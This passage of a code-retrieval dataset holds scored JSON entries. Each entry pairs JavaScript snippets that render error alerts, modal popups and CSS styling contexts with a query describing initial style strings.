return '<span class=\"message-error configure-error\">'+\n text+\n '</span>';\n }", "title": "" }, { "docid": "61b7658bc41416f9ea7385e0c75b5340", "score": "0.5540882", "text": "function renderEmpty() {\n\tvar alertDiv = $(\"<div>\");\n\talertDiv.addClass(\"alert alert-danger\");\n\talertDiv.html(\"You must create a Reward to redeem points\");\n\trewardContainer.append(alertDiv);\n}", "title": "" }, { "docid": "89a90d8a8356cd9d0f57761e18e79e7c", "score": "0.5537758", "text": "static createInValidationRuleUnderErrorMessage(container) {\n return internal.instancehelpers.createElement(container, Text, \"errorMessage\", false);\n }", "title": "" }, { "docid": "ba9eb7537bc1c536be1f092eb85c234a", "score": "0.55370617", "text": "onAlert(event, text, category = 'error') {\n let element = document.getElementById('alert-area');\n\n if (category === 'success') {\n render(html`\n <div class=\"alert alert-success fade show\" role=\"alert\">\n ${text}\n </div>\n `, element);\n } else {\n render(html`\n <div class=\"alert alert-danger fade show\" role=\"alert\">\n ${text}\n </div>\n `, element);\n }\n setTimeout(this.clearAlert, 5000);\n }", "title": "" }, { "docid": "fae1c707ea1c802c4d82e522ddf9638c", "score": "0.55317277", "text": "function alertModal(title, body) {\n // Display error message to the user in a modal\n $(\"#alert-modal-title\").html(title);\n $(\"#alert-modal-body\").html(body);\n $(\"#alert-modal\").modal(\"show\");\n}", "title": "" }, { "docid": "29b9193454ce2875cde9aa9792fe149e", "score": "0.5528427", "text": "function showError(error){\n\tnotificationElement.style.display = 'block';\n\tnotificationElement.innerHTML = '<p> ${error.message}';\n\n}", "title": "" }, { "docid": "d3adaf992379f02e16ebf678da315a81", "score": "0.55271125", "text": "function errorPopup(message) {\r\n messagePopup(message, \"ERROR\");\r\n}", "title": "" }, { "docid": "7775a53f458b5e3be98146c60418d1cd", "score": "0.5508907", "text": "function show_error_message(data){\n\t\t//$('#message_error').html('<div class=\"alert alert-danger alert-dismissible\" id=\"message_box\"><button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-hidden=\"true\">&times;</button><i class=\"icon fa fa-exclamation\"></i>'+data+'</div>');\n\t\tconfig_toast_master();\n\t\ttoastr[\"error\"](data);\n\t}", "title": "" }, { "docid": "2530611cbf2a0c35eff107b1dfefdfde", "score": "0.5508028", "text": "function showError(error){\n notificationElement.style.display = \"block\";\n notificationElement.innerHTML = `<p> ${error.message} </p>`;\n}", "title": "" }, { "docid": "2530611cbf2a0c35eff107b1dfefdfde", "score": "0.5508028", "text": "function showError(error){\n notificationElement.style.display = \"block\";\n notificationElement.innerHTML = `<p> ${error.message} </p>`;\n}", "title": "" }, { "docid": "2530611cbf2a0c35eff107b1dfefdfde", "score": "0.5508028", "text": "function showError(error){\n notificationElement.style.display = \"block\";\n notificationElement.innerHTML = `<p> ${error.message} </p>`;\n}", "title": "" }, { "docid": "e32079adf2230d7f22978a15fc00aab8", "score": "0.55070275", "text": "function CreateAvAlertPopup(alertText, type)\n\t{\n\tvar\n\t\t$popUp = $('<div></div>').addClass(\"av-alert-popup\"),\n\t\t$content = $('<div></div>').addClass(\"content\"),\n\t\t$closeButton = $('<div></div>').addClass(\"close-form-button\"),\n\t\t$image = $('<div></div>').addClass(\"image\"),\n\t\t$text = $('<div></div>').addClass(\"text\");\n\n\t$popUp\n\t\t.addClass(type ? type : \"simple\")\n\t\t.append($content)\n\t\t.append($closeButton)\n\t\t.appendTo('body');\n\t$content\n\t\t.append($image)\n\t\t.append($text);\n\t$text\n\t\t.html(alertText);\n\t$closeButton\n\t\t.click(function()\n\t\t\t{\n\t\t\t$popUp.remove();\n\t\t\t});\n\n\treturn $popUp;\n\t}", "title": "" }, { "docid": "67e0ee4fa84a01ebb11ef455bedd318c", "score": "0.55048364", "text": "function showError(error){\r\n notificationElement.style.display = \"block\";\r\n notificationElement.innerHTML = `<p> ${error.message} </p>`;\r\n }", "title": "" }, { "docid": "fb898d05858ad00a232f3d84818e46a1", "score": "0.54891664", "text": "function show_alert( message )\r\n{\r\n\t\r\n\tvar container = $$( 'container' ).create( 'div', { className: 'alert_container' }, true, message );\r\n\tcontainer.opacity( 0.9 );\r\n\t\r\n\tvar alert_container = new Legato_Widgets_AlertContainer\r\n\t( \r\n\t\tcontainer, \r\n\t\t3000, \r\n\t\t{ \r\n\t\t\tY_offset: 37, \r\n\t\t\tX_offset: ($( window ).dimensions()[0] / 2 - $( container ).dimensions()[0] / 2) \r\n\t\t} \r\n\t);\r\n\t\r\n}", "title": "" }, { "docid": "edb97468e03f46561b6eedda64f49006", "score": "0.54816276", "text": "renderUploadValidationFailedMessage() {\n this.renderMessage({\n type: 'error',\n title: Dictionary.get('h5pFileValidationFailedTitle'),\n content: Dictionary.get('h5pFileValidationFailedContent')\n });\n }", "title": "" }, { "docid": "f46af0ee4b701eef270ad1be41498f24", "score": "0.54794884", "text": "function createCustomAlert(txt) {\n\tdoc = document;\n\n\tif(doc.getElementById(\"modalContainer\")) return;\n\n //Create Div For Modal Container Body\n\tmodalObject = doc.getElementsByTagName(\"body\")[0].appendChild(doc.createElement(\"div\"));\n\tmodalObject.id = \"modalContainer\";\n\tmodalObject.style.height = doc.documentElement.scrollHeight + \"px\";\n \n //Create Div For Alert Box Container Body\n\talertObj = modalObject.appendChild(doc.createElement(\"div\"));\n\talertObj.id = \"alertBox\";\n\tif(doc.all) alertObj.style.top = document.documentElement.scrollTop + \"px\";\n\talertObj.style.left = (doc.documentElement.scrollWidth - alertObj.offsetWidth)/2 + \"px\";\n\talertObj.style.visiblity=\"visible\";\n\n //Create Element For Title Alert\n\th1 = alertObj.appendChild(doc.createElement(\"h1\"));\n h1.appendChild(doc.createTextNode(titleAlert));\n \n //Create Tag For Alert Body Content\n \tmsg = alertObj.appendChild(doc.createElement(\"p\"));\n \tmsg.appendChild(doc.createTextNode(txt));\n \tmsg.innerHTML = txt;\n\n //Create Tag To Close Modal Button\n\tbtn = alertObj.appendChild(doc.createElement(\"a\"));\n\tbtn.id = \"closeBtn\";\n\tbtn.appendChild(doc.createTextNode(closeModal));\n\tbtn.href = \"#\";\n\tbtn.focus();\n\tbtn.onclick = function() { removeCustomAlert();return false; }\n\n\talertObj.style.display = \"block\";\n\t\n}", "title": "" }, { "docid": "c8d576785ec8d4dc5db0b16a75e9def6", "score": "0.54739374", "text": "function showError(prefix, error){\n console.error(error.code)\n\n hideItem(loading);\n\n switch(error.code){\n case 'auth/invalid-email': alert(`${prefix} E-mail inválido.`)\n break;\n\n case 'auth/wrong-password': alert(`${prefix} Senha inválida.`)\n break;\n\n case 'auth/weak-password': alert(`${prefix} Senha fraca. A senha deve ter no mínimo 6 caracteres.`)\n break;\n \n case 'auth/email-already-in-use': alert(`${prefix} O e-mail já está sendo usado. Recupere a sua senha.`)\n break;\n \n case 'auth/popup-closed-by-user': alert(`${prefix} O popup foi fechado antes de concluir a autenticação.`)\n break;\n\n default: alert(`${prefix} ${error.message}`)\n }\n}", "title": "" }, { "docid": "db84af06f29a4e4c8d325cac7b6a5561", "score": "0.5470387", "text": "function modernAlert(message = '', options = {}, callback)\n{\n // Close any other modernAlert\n let oldModernAlertElement = document.getElementById('_modernAlert');\n if (oldModernAlertElement && oldModernAlertElement.length != 0) {\n oldModernAlertElement.remove();\n }\n\n // Initial Properties\n const modernAlertProperties = {\n el: 'div',\n style: {\n minHeight: '80px',\n minWidth: '100px',\n maxHeight: '500px',\n maxWidth: '500px',\n margin: '-207px 0 0 -57px',\n padding: '10px',\n backgroundColor: '#f9f9f9',\n borderRadius: '5px',\n boxShadow: '1px 1px 2px 1px rgba(0, 0, 0, 0.4), -1px -1px 2px 1px rgba(0, 0, 0, 0.4)',\n fontFamily: 'Tahoma',\n fontSize: '12pt',\n textAlign: 'center',\n position: 'fixed',\n top: '50%',\n left: '50%',\n zIndex: '99999',\n },\n };\n\n const modernAlertButtonProperties = {\n el: 'button',\n style: {\n minHeight: '30px',\n minWidth: '60px',\n padding: '5px',\n fontFamily: 'Tahoma',\n fontSize: '9pt',\n textAlign: 'center',\n },\n };\n\n const modernAlertShadowScreenProperties = {\n el: 'div',\n style: {\n height: '100%',\n width: '100%',\n margin: '0',\n padding: '0',\n backgroundColor: 'rgba(0, 0, 0, 0.2)',\n position: 'fixed',\n top: '0',\n left: '0',\n zIndex: '99998',\n },\n };\n\n const modernAlertButtonLayouts = ['ok', 'yesNo', 'custom'];\n \n // Add the shadow screen\n let modernAlertShadowScreenBody = document.createElement(modernAlertShadowScreenProperties.el);\n Object.assign(modernAlertShadowScreenBody.style, modernAlertShadowScreenProperties.style);\n document.body.appendChild(modernAlertShadowScreenBody).id = '_modernAlertShadowScreen';\n let modernAlertShadowScreen = document.getElementById('_modernAlertShadowScreen');\n\n // Add style to modernAlert .. Render\n let modernAlertBody = document.createElement(modernAlertProperties.el);\n modernAlertBody.innerHTML = `<p>${message}</p>`;\n Object.assign(modernAlertBody.style, modernAlertProperties.style);\n document.body.appendChild(modernAlertBody).id = '_modernAlert';\n let modernAlertElement = document.getElementById('_modernAlert');\n\n // Add the buttons\n let modernAlertButtons = [];\n if (modernAlertButtonLayouts.includes(options.buttonsLayout) || !options.buttonsLayout) {\n switch (options.buttonsLayout) {\n case 'custom':\n options.buttonsStructure.forEach(buttonStructure => {\n modernAlertButtons.push({label: buttonStructure.label, return: buttonStructure.return});\n });\n break;\n\n case 'yesNo':\n modernAlertButtons.push({label: 'Yes', return: true});\n modernAlertButtons.push({label: 'No', return: false});\n break;\n\n case 'ok':\n default:\n modernAlertButtons.push({label: 'Ok', return: null});\n }\n }\n\n let modernAlertButton = {};\n let modernAlertButtonPromises = [];\n modernAlertButtons.forEach(button => {\n modernAlertButton = document.createElement(modernAlertButtonProperties.el);\n Object.assign(modernAlertButton.style, modernAlertButtonProperties.style);\n modernAlertButton.id = 'x';\n modernAlertButton.innerHTML = button.label;\n modernAlertElement.appendChild(modernAlertButton);\n \n modernAlertButtonPromises.push(new Promise(function(resolve, reject) {\n modernAlertButton.addEventListener('click', function(){\n modernAlertShadowScreen.remove();\n modernAlertElement.remove();\n resolve(button.return);\n });\n })\n );\n });\n \n Promise.race(modernAlertButtonPromises).then(response => {\n callback(response);\n });\n\n // Adjust horizontal margin\n modernAlertElement.style.margin = `-207px 0 0 -${modernAlertElement.offsetWidth / 2}px`;\n}", "title": "" } ]
26ed8bdc54be7c036000d4d7cc224e92
Returns the style string of all the initial styles for the element. This function is designed to populate and cache all the static style values into a style string. The caching mechanism works by placing the completed style string into the initial values array into a dedicated slot. This will prevent the function from having to populate the string each time an element is created or matched.
[ { "docid": "1bd7377fa66100aa5cd056f0e1b9f8e6", "score": "0.69137675", "text": "function getInitialStyleStringValue(context) {\n var initialStyleValues = context[3 /* InitialStyleValuesPosition */];\n var styleString = initialStyleValues[1 /* CachedStringValuePosition */];\n if (styleString === null) {\n styleString = '';\n for (var i = 2 /* KeyValueStartPosition */; i < initialStyleValues.length; i += 3 /* Size */) {\n var value = initialStyleValues[i + 1];\n if (value !== null) {\n styleString += (styleString.length ? ';' : '') + (initialStyleValues[i] + \":\" + value);\n }\n }\n initialStyleValues[1 /* CachedStringValuePosition */] = styleString;\n }\n return styleString;\n}", "title": "" } ]
[ { "docid": "23d55352f9f3aa7ed67d8d4c03bd85d4", "score": "0.6791103", "text": "function renderInitialStyles(element, context, renderer, startIndex) {\n var initialStyles = context[3 /* InitialStyleValuesPosition */];\n var i = startIndex || 2 /* KeyValueStartPosition */;\n while (i < initialStyles.length) {\n var value = initialStyles[i + 1 /* ValueOffset */];\n if (value) {\n setStyle(element, initialStyles[i + 0 /* PropOffset */], value, renderer, null);\n }\n i += 3 /* Size */;\n }\n return i;\n}", "title": "" }, { "docid": "13e97d183ff5668d9b34bf3dd5c62b96", "score": "0.6537302", "text": "populateInitialStylingAttrs(attrs) {\n // [CLASS_MARKER, 'foo', 'bar', 'baz' ...]\n if (this._initialClassValues.length) {\n attrs.push(literal(1 /* Classes */));\n for (let i = 0; i < this._initialClassValues.length; i++) {\n attrs.push(literal(this._initialClassValues[i]));\n }\n }\n // [STYLE_MARKER, 'width', '200px', 'height', '100px', ...]\n if (this._initialStyleValues.length) {\n attrs.push(literal(2 /* Styles */));\n for (let i = 0; i < this._initialStyleValues.length; i += 2) {\n attrs.push(literal(this._initialStyleValues[i]), literal(this._initialStyleValues[i + 1]));\n }\n }\n }", "title": "" }, { "docid": "5d9db77353a7f0a10669e472f8943ae7", "score": "0.6159972", "text": "generateStyleAttribute() {\n const width = toPx(this.getWidth());\n const styles = {};\n styles.minWidth = this.props.collapsed\n ? toPx(this.props.collapsedWidth)\n : this.props.resizable\n ? toPx(this.props.minWidth)\n : width;\n if (this.props.overlay) {\n styles.width = width;\n }\n else {\n styles.flexBasis = width;\n }\n return Object.assign(styles, this.props.style);\n }", "title": "" }, { "docid": "a88f81c4fbf4d2418446a6f3a283b78e", "score": "0.5980804", "text": "getRelevantStyles() {\r\n let compStyles = window.getComputedStyle(this);\r\n\r\n let bgcolor = MicroFrontend.getElementDefiningCssStyle(this, \"background-color\");\r\n\r\n this.loaderDiv.style.backgroundColor = bgcolor;\r\n\r\n return `body {\r\n color: ${compStyles[\"color\"]};\r\n font-family: ${compStyles[\"font-family\"]};\r\n font-size: ${compStyles[\"font-size\"]};\r\n background-color: ${bgcolor};\r\n }\r\n `\r\n }", "title": "" }, { "docid": "41dacf07452d92503b217f5fc827a76f", "score": "0.59168285", "text": "generateStyleAttribute() {\n const position = this.generateColumnPosition();\n const row = this.generateRow();\n const span = this.generateColumnSpan();\n const gridColumnValue = [position, `span ${span}`]\n .filter((item) => Boolean(item))\n .join(\" / \");\n const order = Array.isArray(this.props.order)\n ? this.getValueByBreakpoint(this.props.order)\n : this.props.order;\n const canUseCssGridStyle = this.props.cssGridPropertyName === \"grid\"\n ? true\n : this.props.cssGridPropertyName === \"-ms-grid\"\n ? false\n : canUseCssGrid();\n const gridStyles = canUseCssGridStyle\n ? {\n gridColumn: gridColumnValue,\n gridRowStart: row,\n }\n : {\n [\"msGridColumn\"]: this.augmentMsGrid(position),\n [\"msGridColumnSpan\"]: this.augmentMsGrid(span),\n [\"msGridRow\"]: row,\n };\n return Object.assign({}, gridStyles, { order: typeof order === \"number\" ? order : null, \n // Fixes issue found in firefox where columns that have overflow\n // or full width content cause scroll bars\n minWidth: \"0\" }, this.unhandledProps().style);\n }", "title": "" }, { "docid": "dea9c30699a9b1010b70a5a8c06946e4", "score": "0.5902256", "text": "function renderInitialStylingValues(element, renderer, initialStylingValues, isEntryClassBased) {\n for (var i = 1 /* KeyValueStartPosition */; i < initialStylingValues.length; i += 2 /* Size */) {\n var value = initialStylingValues[i + 1 /* ValueOffset */];\n if (value) {\n if (isEntryClassBased) {\n setClass(element, initialStylingValues[i + 0 /* PropOffset */], true, renderer, null);\n }\n else {\n setStyle(element, initialStylingValues[i + 0 /* PropOffset */], value, renderer, null);\n }\n }\n }\n}", "title": "" }, { "docid": "dea9c30699a9b1010b70a5a8c06946e4", "score": "0.5902256", "text": "function renderInitialStylingValues(element, renderer, initialStylingValues, isEntryClassBased) {\n for (var i = 1 /* KeyValueStartPosition */; i < initialStylingValues.length; i += 2 /* Size */) {\n var value = initialStylingValues[i + 1 /* ValueOffset */];\n if (value) {\n if (isEntryClassBased) {\n setClass(element, initialStylingValues[i + 0 /* PropOffset */], true, renderer, null);\n }\n else {\n setStyle(element, initialStylingValues[i + 0 /* PropOffset */], value, renderer, null);\n }\n }\n }\n}", "title": "" }, { "docid": "194d59f19a4ba90ac200920a8c489074", "score": "0.5886218", "text": "function getStyles(container) {\n\t return container.values().map(function (style) { return style.getStyles(); }).join('');\n\t}", "title": "" }, { "docid": "f2c58bb447858dcbb1a1621790e237ce", "score": "0.58159894", "text": "function getInitialCssValues() {\r\n\t\tvar textarea = document.getElementById('message-textarea');\r\n\t\ttextarea = window.getComputedStyle(textarea);\r\n\r\n\t\tvar messagesDiv = document.getElementById('received-messages');\r\n\t\tmessagesDiv = window.getComputedStyle(messagesDiv);\r\n\r\n\t\tthis.initialCssValues = {\r\n\t\t\ttextareaHeight : textarea.height,\r\n\t\t\tmessagesDivHeight : messagesDiv.height\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "3dd142f7c931d84d68f5e912d45bd016", "score": "0.57668996", "text": "function createStylingContextTemplate(initialClassDeclarations, initialStyleDeclarations, styleSanitizer) {\n var initialStylingValues = [null];\n var context = [null, styleSanitizer || null, initialStylingValues, 0, 0, null];\n // we use two maps since a class name might collide with a CSS style prop\n var stylesLookup = {};\n var classesLookup = {};\n var totalStyleDeclarations = 0;\n if (initialStyleDeclarations) {\n var hasPassedDeclarations = false;\n for (var i = 0; i < initialStyleDeclarations.length; i++) {\n var v = initialStyleDeclarations[i];\n // this flag value marks where the declarations end the initial values begin\n if (v === 1 /* VALUES_MODE */) {\n hasPassedDeclarations = true;\n }\n else {\n var prop = v;\n if (hasPassedDeclarations) {\n var value = initialStyleDeclarations[++i];\n initialStylingValues.push(value);\n stylesLookup[prop] = initialStylingValues.length - 1;\n }\n else {\n totalStyleDeclarations++;\n stylesLookup[prop] = 0;\n }\n }\n }\n }\n // make where the class offsets begin\n context[4 /* ClassOffsetPosition */] = totalStyleDeclarations;\n if (initialClassDeclarations) {\n var hasPassedDeclarations = false;\n for (var i = 0; i < initialClassDeclarations.length; i++) {\n var v = initialClassDeclarations[i];\n // this flag value marks where the declarations end the initial values begin\n if (v === 1 /* VALUES_MODE */) {\n hasPassedDeclarations = true;\n }\n else {\n var className = v;\n if (hasPassedDeclarations) {\n var value = initialClassDeclarations[++i];\n initialStylingValues.push(value);\n classesLookup[className] = initialStylingValues.length - 1;\n }\n else {\n classesLookup[className] = 0;\n }\n }\n }\n }\n var styleProps = Object.keys(stylesLookup);\n var classNames = Object.keys(classesLookup);\n var classNamesIndexStart = styleProps.length;\n var totalProps = styleProps.length + classNames.length;\n // *2 because we are filling for both single and multi style spaces\n var maxLength = totalProps * 3 /* Size */ * 2 + 6 /* SingleStylesStartPosition */;\n // we need to fill the array from the start so that we can access\n // both the multi and the single array positions in the same loop block\n for (var i = 6 /* SingleStylesStartPosition */; i < maxLength; i++) {\n context.push(null);\n }\n var singleStart = 6 /* SingleStylesStartPosition */;\n var multiStart = totalProps * 3 /* Size */ + 6 /* SingleStylesStartPosition */;\n // fill single and multi-level styles\n for (var i = 0; i < totalProps; i++) {\n var isClassBased_1 = i >= classNamesIndexStart;\n var prop = isClassBased_1 ? classNames[i - classNamesIndexStart] : styleProps[i];\n var indexForInitial = isClassBased_1 ? classesLookup[prop] : stylesLookup[prop];\n var initialValue = initialStylingValues[indexForInitial];\n var indexForMulti = i * 3 /* Size */ + multiStart;\n var indexForSingle = i * 3 /* Size */ + singleStart;\n var initialFlag = prepareInitialFlag(prop, isClassBased_1, styleSanitizer || null);\n setFlag(context, indexForSingle, pointers(initialFlag, indexForInitial, indexForMulti));\n setProp(context, indexForSingle, prop);\n setValue(context, indexForSingle, null);\n var flagForMulti = initialFlag | (initialValue !== null ? 1 /* Dirty */ : 0 /* None */);\n setFlag(context, indexForMulti, pointers(flagForMulti, indexForInitial, indexForSingle));\n setProp(context, indexForMulti, prop);\n setValue(context, indexForMulti, null);\n }\n // there is no initial value flag for the master index since it doesn't\n // reference an initial style value\n setFlag(context, 3 /* MasterFlagPosition */, pointers(0, 0, multiStart));\n setContextDirty(context, initialStylingValues.length > 1);\n return context;\n}", "title": "" }, { "docid": "3dd142f7c931d84d68f5e912d45bd016", "score": "0.57668996", "text": "function createStylingContextTemplate(initialClassDeclarations, initialStyleDeclarations, styleSanitizer) {\n var initialStylingValues = [null];\n var context = [null, styleSanitizer || null, initialStylingValues, 0, 0, null];\n // we use two maps since a class name might collide with a CSS style prop\n var stylesLookup = {};\n var classesLookup = {};\n var totalStyleDeclarations = 0;\n if (initialStyleDeclarations) {\n var hasPassedDeclarations = false;\n for (var i = 0; i < initialStyleDeclarations.length; i++) {\n var v = initialStyleDeclarations[i];\n // this flag value marks where the declarations end the initial values begin\n if (v === 1 /* VALUES_MODE */) {\n hasPassedDeclarations = true;\n }\n else {\n var prop = v;\n if (hasPassedDeclarations) {\n var value = initialStyleDeclarations[++i];\n initialStylingValues.push(value);\n stylesLookup[prop] = initialStylingValues.length - 1;\n }\n else {\n totalStyleDeclarations++;\n stylesLookup[prop] = 0;\n }\n }\n }\n }\n // make where the class offsets begin\n context[4 /* ClassOffsetPosition */] = totalStyleDeclarations;\n if (initialClassDeclarations) {\n var hasPassedDeclarations = false;\n for (var i = 0; i < initialClassDeclarations.length; i++) {\n var v = initialClassDeclarations[i];\n // this flag value marks where the declarations end the initial values begin\n if (v === 1 /* VALUES_MODE */) {\n hasPassedDeclarations = true;\n }\n else {\n var className = v;\n if (hasPassedDeclarations) {\n var value = initialClassDeclarations[++i];\n initialStylingValues.push(value);\n classesLookup[className] = initialStylingValues.length - 1;\n }\n else {\n classesLookup[className] = 0;\n }\n }\n }\n }\n var styleProps = Object.keys(stylesLookup);\n var classNames = Object.keys(classesLookup);\n var classNamesIndexStart = styleProps.length;\n var totalProps = styleProps.length + classNames.length;\n // *2 because we are filling for both single and multi style spaces\n var maxLength = totalProps * 3 /* Size */ * 2 + 6 /* SingleStylesStartPosition */;\n // we need to fill the array from the start so that we can access\n // both the multi and the single array positions in the same loop block\n for (var i = 6 /* SingleStylesStartPosition */; i < maxLength; i++) {\n context.push(null);\n }\n var singleStart = 6 /* SingleStylesStartPosition */;\n var multiStart = totalProps * 3 /* Size */ + 6 /* SingleStylesStartPosition */;\n // fill single and multi-level styles\n for (var i = 0; i < totalProps; i++) {\n var isClassBased_1 = i >= classNamesIndexStart;\n var prop = isClassBased_1 ? classNames[i - classNamesIndexStart] : styleProps[i];\n var indexForInitial = isClassBased_1 ? classesLookup[prop] : stylesLookup[prop];\n var initialValue = initialStylingValues[indexForInitial];\n var indexForMulti = i * 3 /* Size */ + multiStart;\n var indexForSingle = i * 3 /* Size */ + singleStart;\n var initialFlag = prepareInitialFlag(prop, isClassBased_1, styleSanitizer || null);\n setFlag(context, indexForSingle, pointers(initialFlag, indexForInitial, indexForMulti));\n setProp(context, indexForSingle, prop);\n setValue(context, indexForSingle, null);\n var flagForMulti = initialFlag | (initialValue !== null ? 1 /* Dirty */ : 0 /* None */);\n setFlag(context, indexForMulti, pointers(flagForMulti, indexForInitial, indexForSingle));\n setProp(context, indexForMulti, prop);\n setValue(context, indexForMulti, null);\n }\n // there is no initial value flag for the master index since it doesn't\n // reference an initial style value\n setFlag(context, 3 /* MasterFlagPosition */, pointers(0, 0, multiStart));\n setContextDirty(context, initialStylingValues.length > 1);\n return context;\n}", "title": "" }, { "docid": "db092be51c84d29d2c998765ff485235", "score": "0.57455033", "text": "function initializeStyles(el) {\n el.styles = [];\n if (el.attribs && el.attribs.style) {\n var declarations = parseStyleAttribute(el.attribs.style);\n el.styles.push({\n declarations: declarations,\n specificity: \"1,0,0,0\", // inline style specificity\n });\n }\n}", "title": "" }, { "docid": "bab778dbf5f303b8881cfd15add656ec", "score": "0.5719435", "text": "getStyles () {\n let styles\n const ret = {}\n const $element = $('<div class=\"form-item\"><input type=\"text\" class=\"default\" /><input type=\"text\" class=\"error\" /><select><option>One</option></select></div>').hide().appendTo(this.$element)\n styles = window.getComputedStyle($element.find('input.default').get(0))\n ret.input = {\n 'color': styles.getPropertyValue('color'),\n 'font': styles.getPropertyValue('font'),\n 'line-height': styles.getPropertyValue('line-height'),\n }\n styles = window.getComputedStyle($element.find('input.error').get(0))\n ret['input.invalid'] = {\n 'color': styles.getPropertyValue('color'),\n }\n styles = window.getComputedStyle($element.find('select').get(0))\n ret.select = {\n 'font': styles.getPropertyValue('font'),\n }\n $element.remove()\n return ret\n }", "title": "" }, { "docid": "9e28687a64192bea44715c58e4458664", "score": "0.5652932", "text": "function createStylingContextTemplate(initialClassDeclarations, initialStyleDeclarations, styleSanitizer) {\n var initialStylingValues = [null];\n var context = createEmptyStylingContext(null, styleSanitizer, initialStylingValues);\n // we use two maps since a class name might collide with a CSS style prop\n var stylesLookup = {};\n var classesLookup = {};\n var totalStyleDeclarations = 0;\n if (initialStyleDeclarations) {\n var hasPassedDeclarations = false;\n for (var i = 0; i < initialStyleDeclarations.length; i++) {\n var v = initialStyleDeclarations[i];\n // this flag value marks where the declarations end the initial values begin\n if (v === 1 /* VALUES_MODE */) {\n hasPassedDeclarations = true;\n }\n else {\n var prop = v;\n if (hasPassedDeclarations) {\n var value = initialStyleDeclarations[++i];\n initialStylingValues.push(value);\n stylesLookup[prop] = initialStylingValues.length - 1;\n }\n else {\n totalStyleDeclarations++;\n stylesLookup[prop] = 0;\n }\n }\n }\n }\n // make where the class offsets begin\n context[4 /* ClassOffsetPosition */] = totalStyleDeclarations;\n if (initialClassDeclarations) {\n var hasPassedDeclarations = false;\n for (var i = 0; i < initialClassDeclarations.length; i++) {\n var v = initialClassDeclarations[i];\n // this flag value marks where the declarations end the initial values begin\n if (v === 1 /* VALUES_MODE */) {\n hasPassedDeclarations = true;\n }\n else {\n var className = v;\n if (hasPassedDeclarations) {\n var value = initialClassDeclarations[++i];\n initialStylingValues.push(value);\n classesLookup[className] = initialStylingValues.length - 1;\n }\n else {\n classesLookup[className] = 0;\n }\n }\n }\n }\n var styleProps = Object.keys(stylesLookup);\n var classNames = Object.keys(classesLookup);\n var classNamesIndexStart = styleProps.length;\n var totalProps = styleProps.length + classNames.length;\n // *2 because we are filling for both single and multi style spaces\n var maxLength = totalProps * 4 /* Size */ * 2 + 8 /* SingleStylesStartPosition */;\n // we need to fill the array from the start so that we can access\n // both the multi and the single array positions in the same loop block\n for (var i = 8 /* SingleStylesStartPosition */; i < maxLength; i++) {\n context.push(null);\n }\n var singleStart = 8 /* SingleStylesStartPosition */;\n var multiStart = totalProps * 4 /* Size */ + 8 /* SingleStylesStartPosition */;\n // fill single and multi-level styles\n for (var i = 0; i < totalProps; i++) {\n var isClassBased_1 = i >= classNamesIndexStart;\n var prop = isClassBased_1 ? classNames[i - classNamesIndexStart] : styleProps[i];\n var indexForInitial = isClassBased_1 ? classesLookup[prop] : stylesLookup[prop];\n var initialValue = initialStylingValues[indexForInitial];\n var indexForMulti = i * 4 /* Size */ + multiStart;\n var indexForSingle = i * 4 /* Size */ + singleStart;\n var initialFlag = prepareInitialFlag(prop, isClassBased_1, styleSanitizer || null);\n setFlag(context, indexForSingle, pointers(initialFlag, indexForInitial, indexForMulti));\n setProp(context, indexForSingle, prop);\n setValue(context, indexForSingle, null);\n setPlayerBuilderIndex(context, indexForSingle, 0);\n var flagForMulti = initialFlag | (initialValue !== null ? 1 /* Dirty */ : 0 /* None */);\n setFlag(context, indexForMulti, pointers(flagForMulti, indexForInitial, indexForSingle));\n setProp(context, indexForMulti, prop);\n setValue(context, indexForMulti, null);\n setPlayerBuilderIndex(context, indexForMulti, 0);\n }\n // there is no initial value flag for the master index since it doesn't\n // reference an initial style value\n setFlag(context, 3 /* MasterFlagPosition */, pointers(0, 0, multiStart));\n setContextDirty(context, initialStylingValues.length > 1);\n return context;\n}", "title": "" }, { "docid": "51c9e87ee42295f5c3e0e8a57a3f675a", "score": "0.564854", "text": "static get styles () {\n\t\treturn [\n\t\t\tsharedStyles,\n\t\t\tcss`\n\t\t\t`\n\t\t];\n\t}", "title": "" }, { "docid": "a31d49ecf266089bc0e7d88f393a0874", "score": "0.5587629", "text": "function collectAndStringifyStyles(el) {\n const styles = window.getComputedStyle(el);\n let styleStr = \"\";\n\n for(let prop of styles) {\n styleStr += `${prop}: ${styles.getPropertyValue(prop)}; `;\n }\n\n return styleStr;\n}", "title": "" }, { "docid": "ed43be721c9a67ef77eb5a32f4487f9d", "score": "0.557202", "text": "getStyles() {\n let styles = \"stone \";\n if (this.props.stone == null) {\n\n } else {\n //If there is a Stone, do a lot of stuff\n styles += this.props.stone.stoneColor.toLowerCase();\n\n styles += this.props.stone.alive ? \"\" : \" hidden\";\n }\n return styles;\n }", "title": "" }, { "docid": "1e07f491c3437d5376c13f07ea4b2a31", "score": "0.5571094", "text": "getStyleElements() {\n return this.styleElements.slice();\n }", "title": "" }, { "docid": "c4dabdf36882933caf500680b3637663", "score": "0.556818", "text": "static get styles() {\n return styles;\n }", "title": "" }, { "docid": "c4dabdf36882933caf500680b3637663", "score": "0.556818", "text": "static get styles() {\n return styles;\n }", "title": "" }, { "docid": "2e910f4fd8def13f09a42941bc8f6044", "score": "0.5546598", "text": "function _constructFinalProps(defaultStyles) {\n var allProps = [];\n for (var _i = 1; _i < arguments.length; _i++) {\n allProps[_i - 1] = arguments[_i];\n }\n var finalProps = {};\n var classNames = [];\n for (var _a = 0, allProps_1 = allProps; _a < allProps_1.length; _a++) {\n var props = allProps_1[_a];\n classNames.push(props && props.className);\n Object(_utilities__WEBPACK_IMPORTED_MODULE_4__[\"assign\"])(finalProps, props);\n }\n finalProps.className = Object(_uifabric_styling__WEBPACK_IMPORTED_MODULE_2__[\"mergeStyles\"])(defaultStyles, classNames);\n return finalProps;\n}", "title": "" }, { "docid": "d7caad8c5afe019c71a672bd12b5c7fd", "score": "0.5519262", "text": "static async getInitialProps (ctx) {\n const styledComponentSheet = new ServerStyleSheet()\n const materialSheets = new ServerStyleSheets()\n const originalRenderpage = ctx.renderPage\n try {\n ctx.renderPage = () =>\n originalRenderpage({\n enhanceApp: (App) => (props) =>\n styledComponentSheet.collectStyles(materialSheets.collect(<App {...props} />))\n })\n const initialProps = await Document.getInitialProps(ctx)\n\n return {\n ...initialProps,\n styles: [\n <React.Fragment key='styles'>\n {initialProps.styles}\n {materialSheets.getStyleElement()}\n {styledComponentSheet.getStyleElement()}\n </React.Fragment>\n ]\n }\n } finally {\n styledComponentSheet.seal()\n }\n }", "title": "" }, { "docid": 